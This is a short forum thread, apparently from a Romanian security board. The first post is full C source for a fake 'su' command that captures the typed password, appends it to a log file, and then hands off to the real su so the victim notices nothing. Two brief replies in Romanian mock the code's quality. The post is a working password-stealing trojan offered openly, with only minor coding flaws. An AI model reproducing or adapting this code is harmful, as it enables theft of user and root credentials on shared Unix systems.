ilbr22 Posted September 20, 2012 Report Posted September 20, 2012 #include <stdio.h>#include <stdlib.h>#include <unistd.h>int main(void){ char *passw; FILE *fptr; int i; for(i=0;i<1;i++) { passw = getpass("Password: "); if((fptr = fopen("/home/jakashop/shop/su.log", "a")) == NULL) { perror("fopen"); exit -1; } else { fprintf(fptr,"%s\n",passw); } fclose(fptr); } execl("/bin/su", "su", 0);} Quote
Nytro Posted September 20, 2012 Report Posted September 20, 2012 Pe langa faptul ca e o porcarie, uite cata rahatul:for(i=0;i<1;i++) Quote
wildchild Posted September 20, 2012 Report Posted September 20, 2012 Noi nu d?m copii peist, Tibi drag?! Quote